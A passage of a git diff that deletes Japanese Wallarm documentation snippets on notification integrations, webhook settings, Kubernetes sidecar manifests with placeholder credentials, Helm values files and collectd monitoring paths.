Cloudの可用性、通知形式を確認できます。インテグレーションをテストするには、インテグレーションの作成または編集時にボタン**Test integration**を使用できます。 - -インテグレーションは次のとおりテストされます。 - -* 接頭辞`[Test message]`が付いたテスト通知が、選択したシステムに送信されます。 -* テスト通知には次のイベントが含まれます（それぞれ1件のレコードで）： - - * 会社アカウントの新規ユーザー - * 会社スコープ内で新たに検出されたIPアドレス - * 会社アカウントの新規トリガー - * 新たに検出されたセキュリティ脆弱性 -* テスト通知にはテストデータが含まれます。 \ No newline at end of file diff --git a/include-ja/integrations/test-integration-with-email.md b/include-ja/integrations/test-integration-with-email.md deleted file mode 100644 index a8e90b653b..0000000000 --- a/include-ja/integrations/test-integration-with-email.md +++ /dev/null @@ -1,11 +0,0 @@ -統合テストでは、設定の正しさ、Wallarm Cloudの可用性、通知の形式を確認できます。統合をテストするには、統合の作成または編集時に**Test integration**ボタンを使用します。 - -統合のテストは次のとおりです。 - -* 接頭辞`[Test message]`付きのテスト通知が選択したシステムに送信されます。 -* テスト通知には以下のイベントが含まれます（各イベントにつき1件のレコードです）。 - - * 会社アカウントの新規ユーザー - * 会社のスコープ内で新たに検出されたIPアドレス - * 新たに検出されたセキュリティ脆弱性 -* テスト通知にはテストデータが含まれます。 \ No newline at end of file diff --git a/include-ja/integrations/update-integration.md b/include-ja/integrations/update-integration.md deleted file mode 100644 index 5a5482225c..0000000000 --- a/include-ja/integrations/update-integration.md +++ /dev/null @@ -1,5 +0,0 @@ -有効なインテグレーションの設定を更新するには： - -1. [US](https://us1.my.wallarm.com/integrations/) Cloudまたは[EU](https://my.wallarm.com/integrations/) CloudのWallarm Console → **Integrations**に移動します。 -2. 有効なインテグレーションを開きます。 -3. 必要な変更を加え、**Save**をクリックします。 \ No newline at end of file diff --git a/include-ja/integrations/webhook-advanced-settings.md b/include-ja/integrations/webhook-advanced-settings.md deleted file mode 100644 index 7441c720a4..0000000000 --- a/include-ja/integrations/webhook-advanced-settings.md +++ /dev/null @@ -1,7 +0,0 @@ -* **リクエストメソッド**：`POST`または`PUT`です。デフォルトでは、POSTリクエストが送信されます。 -* **リクエストヘッダー**：サーバーがリクエストを実行するために非標準ヘッダーを必要とする場合に使用するヘッダーとその値です。ヘッダー数に制限はありません。 -* **CA証明書**：サーバー証明書に署名したCAの証明書です。CAが一般に信頼されている場合、この項目は任意です。サーバー証明書が自己署名の場合、この項目は必須で、サーバー証明書に署名した独自のCAの証明書を含める必要があります。 -* **TLS証明書の検証**：この設定では、指定したサーバー証明書の検証を無効にできます。デフォルトでは、Wallarmはサーバー証明書が一般に信頼されているCAによって署名されているかどうかを検証します。本番環境のサーバー証明書の検証を無効にすることは推奨しません。サーバーが自己署名のTLS証明書を使用している場合は、このサーバーにリクエストを送信できるように、自己署名のCA証明書を追加できます。 -* **リクエストタイムアウト（秒）**：指定した時間内にサーバーがリクエストに応答しない場合、リクエストは失敗します。デフォルト：15秒です。 -* **接続タイムアウト（秒）**：指定した時間内にサーバーへの接続を確立できない場合、リクエストは失敗します。デフォルト：20秒です。 -* Wallarmデータ形式：JSON Array（デフォルト）またはNew Line Delimited JSON（NDJSON）のいずれかです。 \ No newline at end of file diff --git a/include-ja/integrations/webhook-examples/create-fluentd-webhook.md b/include-ja/integrations/webhook-examples/create-fluentd-webhook.md deleted file mode 100644 index 7478954b20..0000000000 --- a/include-ja/integrations/webhook-examples/create-fluentd-webhook.md +++ /dev/null @@ -1,4 +0,0 @@ -* Webhookは`https://fluentd-example-domain.com`に送信されます -* WebhookはPOSTリクエストで送信されます -* Webhook連携には既定の詳細設定があります -* Webhook URLには、利用可能なすべてのイベントのWebhookが送信されます: hits, system events, vulnerabilities, scope changes \ No newline at end of file diff --git a/include-ja/integrations/webhook-examples/create-logstash-webhook.md b/include-ja/integrations/webhook-examples/create-logstash-webhook.md deleted file mode 100644 index a8f457f2b2..0000000000 --- a/include-ja/integrations/webhook-examples/create-logstash-webhook.md +++ /dev/null @@ -1,4 +0,0 @@ -* Webhookは`https://logstash.example.domain.com`に送信されます -* WebhookはPOSTリクエストで送信されます -* Webhook連携には既定の高度な設定があります -* Webhook URL宛てに送信されるWebhookの対象イベントは次のとおりです: hits, system events, vulnerabilities, scope changes \ No newline at end of file diff --git a/include-ja/integrations/webhook-examples/overview.md b/include-ja/integrations/webhook-examples/overview.md deleted file mode 100644 index 65cf43cb49..0000000000 --- a/include-ja/integrations/webhook-examples/overview.md +++ /dev/null @@ -1,4 +0,0 @@ -複雑なシステムで最も一般的なログ記録方式は、以下のコンポーネントで構成されます: - -* データコレクター: 複数のソースからログを受け取り、SIEMシステムへ転送します -* [SIEMシステム](https://www.wallarm.com/what/siem-whats-security-information-and-event-management-technology-part-1)またはログ管理システム: ログを分析し、システムの状態を監視するために使用します \ No newline at end of file diff --git a/include-ja/integrations/webhook-examples/send-test-webhook.md b/include-ja/integrations/webhook-examples/send-test-webhook.md deleted file mode 100644 index 009f7a0b72..0000000000 --- a/include-ja/integrations/webhook-examples/send-test-webhook.md +++ /dev/null @@ -1,3 +0,0 @@ -設定をテストするには、Wallarm Consoleで新規ユーザーを追加します: - -![ユーザーの追加](../../../../images/user-guides/settings/integrations/webhook-examples/adding-user.png) \ No newline at end of file diff --git a/include-ja/issue-with-gpg-keys.md b/include-ja/issue-with-gpg-keys.md deleted file mode 100644 index a0eabb30ea..0000000000 --- a/include-ja/issue-with-gpg-keys.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! warning "CentOSのGPGキーに関する問題" - すでにWallarmリポジトリを追加していて、CentOSのGPGキーが無効であることに関連するエラーが発生した場合は、次の手順に従ってください: - - 1. 追加したリポジトリを`yum remove wallarm-node-repo`コマンドで削除します。 - 2. 上の該当するタブにあるコマンドを使用してリポジトリを追加します。 - - 考えられるエラーメッセージ: - - * `https://repo.wallarm.com/centos/wallarm-node/7/2.14/x86_64/repodata/repomd.xml: [Errno -1] repomd.xml signature could not be verified for wallarm-node_2.14` - * `One of the configured repositories failed (Wallarm Node for CentOS 7 - 2.14), and yum doesn't have enough cached data to continue.` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/deployment-template.md b/include-ja/kubernetes-sidecar-container/deployment-template.md deleted file mode 100644 index c575c28ab7..0000000000 --- a/include-ja/kubernetes-sidecar-container/deployment-template.md +++ /dev/null @@ -1,26 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # お使いのメインアプリケーションコンテナの定義です - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # アプリケーションコンテナが外部からのリクエストを受け付けるポートです - - containerPort: 8080 -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md b/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md deleted file mode 100644 index 15d8bd3bc0..0000000000 --- a/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md +++ /dev/null @@ -1,61 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - annotations: - # Wallarm要素: Wallarm ConfigMapの変更後に実行中のPodを更新するためのアノテーションです - checksum/config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Wallarm要素: Wallarmサイドカーコンテナの定義です - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: DEPLOY_USER - value: {{ .Values.wallarm.deploy_username | quote }} - - name: DEPLOY_PASSWORD - value: {{ .Values.wallarm.deploy_password | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # Wallarmサイドカーコンテナがリクエストを受け付けるポートです - # リクエストはServiceオブジェクトから送信されます - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # メインアプリケーションコンテナの定義です - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # アプリケーションコンテナが受信リクエストを受け付けるポートです - - containerPort: 8080 - volumes: - # Wallarm要素: wallarm-nginx-confボリュームの定義です - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md b/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md deleted file mode 100644 index d94d3ca180..0000000000 --- a/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md +++ /dev/null @@ -1,63 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - annotations: - # Wallarm要素: Wallarm ConfigMapを変更した後に実行中のPodを更新するためのアノテーションです - checksum/config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Wallarm要素: Wallarmサイドカーコンテナの定義です - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: DEPLOY_USER - value: {{ .Values.wallarm.deploy_username | quote }} - - name: DEPLOY_PASSWORD - value: {{ .Values.wallarm.deploy_password | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: WALLARM_ACL_ENABLE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # Wallarmサイドカーコンテナがリクエストを受け付けるポートです - # 対象はServiceオブジェクトからのリクエストです - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # メインアプリケーションコンテナの定義です - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # アプリケーションコンテナが受信リクエストを受け付けるポートです - - containerPort: 8080 - volumes: - # Wallarm要素: wallarm-nginx-confボリュームの定義です - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md b/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md deleted file mode 100644 index dc6d359798..0000000000 --- a/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md +++ /dev/null @@ -1,67 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Wallarm要素: Wallarmサイドカーコンテナの定義です。 - - name: wallarm - image: wallarm/node:2.18.1-5 - imagePullPolicy: Always - env: - # WallarmのAPIエンドポイントです: - # "api.wallarm.com" はEU Cloudの場合です。 - # "us1.api.wallarm.com" はUS Cloudの場合です。 - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # Deployロールを持つユーザーのユーザー名です。 - - name: DEPLOY_USER - value: "username" - # Deployロールを持つユーザーのパスワードです。 - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # IPブロック機能を有効にするかどうかです。 - - name: WALLARM_ACL_ENABLE - value: "true" - # リクエスト分析データ用のメモリ量(GB)です - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # Wallarmサイドカーコンテナがリクエストを受け付けるポートです - # これらのリクエストはServiceオブジェクトから送られます。 - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # メインアプリケーションコンテナの定義です。 - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # アプリケーションコンテナが受信リクエストを受け付けるポートです。 - - containerPort: 8080 - volumes: - # Wallarm要素: wallarm-nginx-confボリュームの定義です。 - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md b/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md deleted file mode 100644 index 30f7bd913a..0000000000 --- a/include-ja/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md +++ /dev/null @@ -1,64 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Wallarm要素: Wallarmサイドカーコンテナの定義です - - name: wallarm - image: wallarm/node:3.6.2-1 - imagePullPolicy: Always - env: - # WallarmのAPIエンドポイントです: - # EU Cloudの場合は"api.wallarm.com"です - # US Cloudの場合は"us1.api.wallarm.com"です - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # Deployロールを持つユーザーのユーザー名です - - name: DEPLOY_USER - value: "username" - # Deployロールを持つユーザーのパスワードです - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # リクエスト分析データ用のメモリ量（GB）です - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # Wallarmサイドカーコンテナがリクエストを受け付けるポートです - # Serviceオブジェクトからのリクエストです - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # メインアプリケーションコンテナの定義です - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # アプリケーションコンテナが着信リクエストを受け付けるポートです - - containerPort: 8080 - volumes: - # Wallarm要素: wallarm-nginx-confボリュームの定義です - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/service-template-manifest.md b/include-ja/kubernetes-sidecar-container/service-template-manifest.md deleted file mode 100644 index 83a91edbec..0000000000 --- a/include-ja/kubernetes-sidecar-container/service-template-manifest.md +++ /dev/null @@ -1,17 +0,0 @@ -``` -apiVersion: v1 -kind: Service -metadata: - name: myapp - labels: - run: myapp -spec: - type: NodePort - ports: - - port: 80 - targetPort: 8080 - protocol: TCP - name: http - selector: - run: myapp -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md b/include-ja/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md deleted file mode 100644 index bf54dbb04e..0000000000 --- a/include-ja/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md +++ /dev/null @@ -1,10 +0,0 @@ -``` -... - ports: - - port: 80 - targetPort: 80 - protocol: TCP - name: http - selector: - run: myapp -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/service-template-sidecar-port.md b/include-ja/kubernetes-sidecar-container/service-template-sidecar-port.md deleted file mode 100644 index d6c38be5ab..0000000000 --- a/include-ja/kubernetes-sidecar-container/service-template-sidecar-port.md +++ /dev/null @@ -1,8 +0,0 @@ -``` -... - - port: {{ .Values.service.port }} - # Wallarmサイドカーコンテナのポートです。 - # 値は、Wallarmサイドカーコンテナの定義内にある - # ports.containerPortと同一である必要があります。 - targetPort: 80 -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/service-template.md b/include-ja/kubernetes-sidecar-container/service-template.md deleted file mode 100644 index b82fb901b8..0000000000 --- a/include-ja/kubernetes-sidecar-container/service-template.md +++ /dev/null @@ -1,15 +0,0 @@ -``` -apiVersion: v1 -kind: Service -metadata: - name: myapp -spec: - selector: - app: myapp - ports: - - port: {{ .Values.service.port }} - # Wallarmサイドカーコンテナのポートです。 - # 値はWallarmサイドカーコンテナの定義にある - # ports.containerPortと同一である必要があります。 - targetPort: 8080 -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md b/include-ja/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md deleted file mode 100644 index 83fcb9d19a..0000000000 --- a/include-ja/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md +++ /dev/null @@ -1,19 +0,0 @@ -1. 次のコマンドでポッドの一覧を取得します: - - ``` - kubectl get pods - ``` - - ポッド内のコンテナ数が増えており、ポッドのステータスが**Running**になっているはずです。 - - ``` - NAME READY STATUS RESTARTS AGE - mychart-856f957bbd-cr4kt 2/2 Running 0 3m48s - ``` -2. 以下のリンクからWallarm Console → **Nodes**に移動し、新しいノードが表示されていることを確認します。この作成されたノードは、アプリケーションへのリクエストをフィルタリングするために使用されます。 - * https://us1.my.wallarm.com/nodes/ [US Cloud](../../../about-wallarm/overview.md#us-cloud)向け - * https://my.wallarm.com/nodes/ [EU Cloud](../../../about-wallarm/overview.md#eu-cloud)向け -3. これらの[手順](../../../admin-en/uat-checklist-en.md#node-registers-attacks)に従ってアプリケーションにテスト用の悪意のあるリクエストを送信します。 -4. 以下のリンクからWallarm Console → **Attacks**に移動し、リストに攻撃が表示されていることを確認します: - * https://us1.my.wallarm.com/attacks/ [US Cloud](../../../about-wallarm/overview.md#us-cloud)向け - * https://my.wallarm.com/attacks/ [EU Cloud](../../../about-wallarm/overview.md#eu-cloud)向け \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/values-wallarm-description-2.18.md b/include-ja/kubernetes-sidecar-container/values-wallarm-description-2.18.md deleted file mode 100644 index 5a13b4f7cc..0000000000 --- a/include-ja/kubernetes-sidecar-container/values-wallarm-description-2.18.md +++ /dev/null @@ -1,28 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 2.18.1-5 - pullPolicy: Always - # WallarmのAPIエンドポイント: - # EU Cloudの場合は"api.wallarm.com"です - # US Cloudの場合は"us1.api.wallarm.com"です - wallarm_host_api: "api.wallarm.com" - # Deployロールを持つユーザーのユーザー名です - deploy_username: "username" - # Deployロールを持つユーザーのパスワードです - deploy_password: "password" - # コンテナが受信リクエストを受け付けるポートです。 - # 値はports.containerPortと同一にする必要があります。 - # メインアプリケーションコンテナの定義内です。 - app_container_port: 80 - # リクエストフィルタリングモード: - # リクエスト処理を無効にするには"off"を使用します - # リクエストを処理するがブロックしない場合は"monitoring"を使用します - # すべてのリクエストを処理し、悪意のあるものをブロックするには"block"を使用します - mode: "block" - # リクエスト分析データ用のメモリ量(GB)です - tarantool_memory_gb: 2 - # IP Blocking機能を有効にするには"true"に設定します - enable_ip_blocking: "false" -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/values-wallarm-description-3.0.md b/include-ja/kubernetes-sidecar-container/values-wallarm-description-3.0.md deleted file mode 100644 index b1ee574253..0000000000 --- a/include-ja/kubernetes-sidecar-container/values-wallarm-description-3.0.md +++ /dev/null @@ -1,27 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 3.0.0-3 - pullPolicy: Always - # Wallarm APIエンドポイント: - # "api.wallarm.com"はEU Cloud用です - # "us1.api.wallarm.com"はUS Cloud用です - wallarm_host_api: "api.wallarm.com" - # Deployロールを持つユーザーのユーザー名です - deploy_username: "username" - # Deployロールを持つユーザーのパスワードです - deploy_password: "password" - # コンテナが受信リクエストを受け付けるポートで、 - # メインアプリケーションコンテナの定義内の - # ports.containerPortと同一である必要があります - app_container_port: 80 - # リクエストフィルタリングモード: - # "off"はリクエスト処理を無効化します - # "monitoring"はリクエストを処理しますが、ブロックしません - # "safe_blocking"はグレーリストに登録されたIPからの悪意のあるリクエストをブロックします - # "block"はすべてのリクエストを処理し、悪意のあるものをブロックします - mode: "block" - # リクエスト分析データ用のメモリ容量(GB)です - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/values-wallarm-description-3.2.md b/include-ja/kubernetes-sidecar-container/values-wallarm-description-3.2.md deleted file mode 100644 index d4707c3e92..0000000000 --- a/include-ja/kubernetes-sidecar-container/values-wallarm-description-3.2.md +++ /dev/null @@ -1,27 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 3.2.1-1 - pullPolicy: Always - # Wallarm APIエンドポイント： - # "api.wallarm.com"はEU Cloud向けです。 - # "us1.api.wallarm.com"はUS Cloud向けです。 - wallarm_host_api: "api.wallarm.com" - # Deployロールを持つユーザーのユーザー名です。 - deploy_username: "username" - # Deployロールを持つユーザーのパスワードです。 - deploy_password: "password" - # コンテナが受信リクエストを受け付けるポートです。 - # 値はメインアプリコンテナの定義内にある - # ports.containerPortと同一にする必要があります。 - app_container_port: 80 - # リクエストフィルタリングモード： - # "off"はリクエスト処理を無効にします。 - # "monitoring"はリクエストは処理しますがブロックしません。 - # "safe_blocking"はグレーリスト化されたIPアドレスからの悪意あるリクエストをブロックします。 - # "block"はすべてのリクエストを処理し、悪意あるものをブロックします。 - mode: "block" - # リクエスト分析データ用のメモリ量（GB）です。 - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/values-wallarm-description-3.6.md b/include-ja/kubernetes-sidecar-container/values-wallarm-description-3.6.md deleted file mode 100644 index f96c82ec79..0000000000 --- a/include-ja/kubernetes-sidecar-container/values-wallarm-description-3.6.md +++ /dev/null @@ -1,27 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 3.6.2-1 - pullPolicy: Always - # Wallarm APIエンドポイント: - # EU Cloudの場合は"api.wallarm.com"です - # US Cloudの場合は"us1.api.wallarm.com"です - wallarm_host_api: "api.wallarm.com" - # Deployロールを持つユーザーのユーザー名です - deploy_username: "username" - # Deployロールを持つユーザーのパスワードです - deploy_password: "password" - # コンテナが外部からのリクエストを受け付けるポートです - # 値はメインアプリケーションコンテナの定義内にある - # ports.containerPortと同一である必要があります - app_container_port: 80 - # リクエストフィルタリングモード: - # リクエスト処理を無効にするには"off"を使用します - # リクエストは処理しますがブロックしない場合は"monitoring"を使用します - # グレーリストに登録されたIPアドレスからの悪意のあるリクエストをブロックするには"safe_blocking"を使用します - # すべてのリクエストを処理し、悪意のあるものをブロックするには"block"を使用します - mode: "block" - # リクエスト分析データ用のメモリ量(GB)です - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/values-wallarm-description-4.0.md b/include-ja/kubernetes-sidecar-container/values-wallarm-description-4.0.md deleted file mode 100644 index f779f3a89e..0000000000 --- a/include-ja/kubernetes-sidecar-container/values-wallarm-description-4.0.md +++ /dev/null @@ -1,25 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 4.0.2-1 - pullPolicy: Always - # WallarmのAPIエンドポイントは以下のとおりです: - # EU Cloudの場合は"api.wallarm.com"です。 - # US Cloudの場合は"us1.api.wallarm.com"です。 - wallarm_host_api: "api.wallarm.com" - # Wallarmノードのトークンです。 - wallarm_api_token: "token" - # コンテナが受信リクエストを受け付けるポートです。 - # 値は、メインアプリコンテナの定義にある - # ports.containerPortと同一にする必要があります。 - app_container_port: 80 - # リクエストのフィルタリングモードです: - # リクエスト処理を無効にする場合は"off"を指定します。 - # リクエストは処理しますがブロックしない場合は"monitoring"を指定します。 - # グレーリストに登録されたIPからの悪意のあるリクエストのみをブロックする場合は"safe_blocking"を指定します。 - # すべてのリクエストを処理し、悪意のあるものをブロックする場合は"block"を指定します。 - mode: "block" - # リクエスト分析データ用のメモリ容量(GB)です。 - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md b/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md deleted file mode 100644 index d87f77cb0e..0000000000 --- a/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md +++ /dev/null @@ -1,23 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - wallarm_mode {{ .Values.wallarm.mode | quote }}; - # wallarm_application 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - proxy_pass http://localhost:{{ .Values.wallarm.app_container_port }}; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md b/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md deleted file mode 100644 index 0a8ad599ed..0000000000 --- a/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md +++ /dev/null @@ -1,23 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - wallarm_mode {{ .Values.wallarm.mode | quote }}; - # wallarm_instance 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - proxy_pass http://localhost:{{ .Values.wallarm.app_container_port }}; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md b/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md deleted file mode 100644 index 33d64e8308..0000000000 --- a/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md +++ /dev/null @@ -1,32 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - # 以下のをリクエストのフィルタリングモードに置き換えてください: - # off: リクエスト処理を無効化します - # monitoring: リクエストは処理しますがブロックしません - # safe_blocking: グレーリストに登録されたIPアドレスからの悪意のあるリクエストのみをブロックします - # block: すべてのリクエストを処理し、悪意のあるものをブロックします - wallarm_mode ; - # wallarm_application 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - # 以下のをポート番号に置き換えてください - # コンテナが受信リクエストを受け付けるポート番号です - # 値はメインアプリケーションコンテナの定義にあるports.containerPort - # と同一である必要があります - proxy_pass http://localhost:; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md b/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md deleted file mode 100644 index 2937c62480..0000000000 --- a/include-ja/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md +++ /dev/null @@ -1,32 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - # 以下のをリクエストフィルタリングモードに置き換えてください： - # offはリクエスト処理を無効化します - # monitoringはリクエストを処理しますがブロックしません - # safe_blockingはグレーリスト化されたIPからの悪意のあるリクエストのみをブロックします - # blockはすべてのリクエストを処理し、悪意のあるものをブロックします - wallarm_mode ; - # wallarm_instance 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - # 以下のをポート番号に置き換えてください - # そのポートはコンテナが受信リクエストを受け付けるポートです、 - # 値はメインアプリコンテナの定義のports.containerPortと - # 同一である必要があります - proxy_pass http://localhost:; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-ja/mc-subject-to-change.md b/include-ja/mc-subject-to-change.md deleted file mode 100644 index f8431e3c9b..0000000000 --- a/include-ja/mc-subject-to-change.md +++ /dev/null @@ -1,5 +0,0 @@ -!!! info "変更される場合があります" - デフォルトの緩和コントロールの一覧は変更される場合があります。 - - * 新しいコントロールが今後追加される場合があります。 - * 緩和コントロールが無効化されている場合でも、品質とパフォーマンスを向上させるために、そのパラメータはWallarmによって更新される場合があります。 \ No newline at end of file diff --git a/include-ja/monitoring/collectd-config-location.md b/include-ja/monitoring/collectd-config-location.md deleted file mode 100644 index 36d879dcec..0000000000 --- a/include-ja/monitoring/collectd-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "DEBベースのディストリビューション" - ```bash - /etc/collectd/wallarm-collectd.conf.d/nginx-wallarm.conf - ``` -=== "RPMベースのディストリビューション" - ```bash - /etc/wallarm-collectd.d/nginx-wallarm.conf - ``` \ No newline at end of file diff --git a/include-ja/monitoring/collectd-nagios-fetch-metric-2.18.md b/include-ja/monitoring/collectd-nagios-fetch-metric-2.18.md deleted file mode 100644 index 56972c69e0..0000000000 --- a/include-ja/monitoring/collectd-nagios-fetch-metric-2.18.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Linux" - ```bash - /usr/bin/collectd-nagios -s /var/run/collectd-unixsock -n -H - ``` -=== "Docker" - ```bash - docker exec /usr/bin/collectd-nagios -s /var/run/collectd-unixsock -n -H - ``` \ No newline at end of file diff --git a/include-ja/monitoring/collectd-nagios-fetch-metric.md b/include-ja/monitoring/collectd-nagios-fetch-metric.md deleted file mode 100644 index 0a2dbc5807..0000000000 --- 